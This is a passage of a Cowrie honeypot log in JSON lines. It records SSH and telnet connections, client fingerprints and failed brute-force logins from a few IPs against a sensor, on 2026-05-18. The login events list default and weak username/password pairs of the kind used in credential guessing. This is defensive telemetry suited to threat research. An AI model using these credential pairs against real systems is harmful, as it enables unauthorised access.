0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:25.367679Z","src_ip":"176.65.132.129","session":"4e2e51569554","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123456","message":"login attempt [deployer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:25.621769Z","src_ip":"176.65.132.129","session":"4e2e51569554","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:26.708492Z","src_ip":"176.65.132.129","session":"4e2e51569554","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.567177534103394,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:28.242948Z","src_ip":"152.42.224.71","session":"8f8b996e0438","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47662,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a63b3260c98","protocol":"telnet","message":"New connection: 152.42.224.71:47662 (10.17.0.5:23) [session: 2a63b3260c98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:28.525008Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48256,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a70b7faea6b","protocol":"ssh","message":"New connection: 176.65.132.129:48256 (159.203.135.109:22) [session: 8a70b7faea6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:28.741479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:28.747952Z","src_ip":"176.65.132.129","session":"8a70b7faea6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:28.835815Z","src_ip":"176.65.132.129","session":"8a70b7faea6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:29.084281Z","src_ip":"176.65.132.129","session":"8a70b7faea6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:30.170360Z","src_ip":"176.65.132.129","session":"8a70b7faea6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47666,"dst_ip":"10.17.0.5","dst_port":23,"session":"391074865285","protocol":"telnet","message":"New connection: 152.42.224.71:47666 (10.17.0.5:23) [session: 391074865285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:30.573055Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.166.167.154","src_port":39798,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa15ef706ee3","protocol":"ssh","message":"New connection: 122.166.167.154:39798 (159.203.135.109:22) [session: fa15ef706ee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:31.358813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:31.364066Z","src_ip":"122.166.167.154","session":"fa15ef706ee3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:31.624267Z","src_ip":"122.166.167.154","session":"fa15ef706ee3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48266,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cd739752aaa","protocol":"ssh","message":"New connection: 176.65.132.129:48266 (159.203.135.109:22) [session: 6cd739752aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:32.011981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:32.017546Z","src_ip":"176.65.132.129","session":"6cd739752aaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:32.102901Z","src_ip":"176.65.132.129","session":"6cd739752aaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:32.357212Z","src_ip":"176.65.132.129","session":"6cd739752aaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"braves","message":"login attempt [root/braves] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:32.689801Z","src_ip":"122.166.167.154","session":"fa15ef706ee3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:33.581760Z","src_ip":"176.65.132.129","session":"6cd739752aaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:33.951982Z","src_ip":"122.166.167.154","session":"fa15ef706ee3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48278,"dst_ip":"159.203.135.109","dst_port":22,"session":"95f7b865d13f","protocol":"ssh","message":"New connection: 176.65.132.129:48278 (159.203.135.109:22) [session: 95f7b865d13f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:35.240487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:35.245572Z","src_ip":"176.65.132.129","session":"95f7b865d13f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:35.328389Z","src_ip":"176.65.132.129","session":"95f7b865d13f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword1","message":"login attempt [root/P@ssword1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:35.575257Z","src_ip":"176.65.132.129","session":"95f7b865d13f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:36.661411Z","src_ip":"176.65.132.129","session":"95f7b865d13f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.62393617630005,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:37.359192Z","src_ip":"152.42.224.71","session":"66f880b6bb07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50636,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0634bb7c4bb","protocol":"ssh","message":"New connection: 176.65.132.129:50636 (159.203.135.109:22) [session: a0634bb7c4bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:38.707402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:38.713136Z","src_ip":"176.65.132.129","session":"a0634bb7c4bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:38.795504Z","src_ip":"176.65.132.129","session":"a0634bb7c4bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chatgpt","password":"chatgpt","message":"login attempt [chatgpt/chatgpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:39.040975Z","src_ip":"176.65.132.129","session":"a0634bb7c4bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:40.126828Z","src_ip":"176.65.132.129","session":"a0634bb7c4bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50638,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4217b03bcb2","protocol":"ssh","message":"New connection: 176.65.132.129:50638 (159.203.135.109:22) [session: d4217b03bcb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:42.055323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:42.061226Z","src_ip":"176.65.132.129","session":"d4217b03bcb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:42.144004Z","src_ip":"176.65.132.129","session":"d4217b03bcb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix","message":"login attempt [bitrix/bitrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:42.392667Z","src_ip":"176.65.132.129","session":"d4217b03bcb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:43.479410Z","src_ip":"176.65.132.129","session":"d4217b03bcb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50654,"dst_ip":"159.203.135.109","dst_port":22,"session":"1549fd056b78","protocol":"ssh","message":"New connection: 176.65.132.129:50654 (159.203.135.109:22) [session: 1549fd056b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:45.277068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:45.283052Z","src_ip":"176.65.132.129","session":"1549fd056b78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:45.368532Z","src_ip":"176.65.132.129","session":"1549fd056b78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:45.616402Z","src_ip":"176.65.132.129","session":"1549fd056b78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:46.702670Z","src_ip":"176.65.132.129","session":"1549fd056b78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34496,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0fcba5dc5f3","protocol":"ssh","message":"New connection: 176.65.132.129:34496 (159.203.135.109:22) [session: d0fcba5dc5f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:48.563838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:48.569800Z","src_ip":"176.65.132.129","session":"d0fcba5dc5f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:48.652439Z","src_ip":"176.65.132.129","session":"d0fcba5dc5f3","protocol":"ssh"}
